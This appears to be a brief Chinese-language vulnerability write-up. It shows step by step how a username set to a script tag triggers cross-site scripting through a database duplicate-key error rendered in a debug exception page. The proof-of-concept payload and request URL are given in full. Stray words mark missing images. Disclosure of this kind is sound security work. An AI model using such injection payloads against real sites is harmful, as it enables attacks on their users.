1.建立个用户:ip:8000/create_user/?username=<script>alert(7)</script>
xss
显示用户已建立。
2.触发漏洞,再次访问ip:8000/create_user/?username=<script>alert(7)</script>
ide
3.触发异常:code
duplicate key value violates unique constraint "xss_user_username_key" DETAIL: Key (username)=(<script>alert(7)</script>) already exists.
4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。图片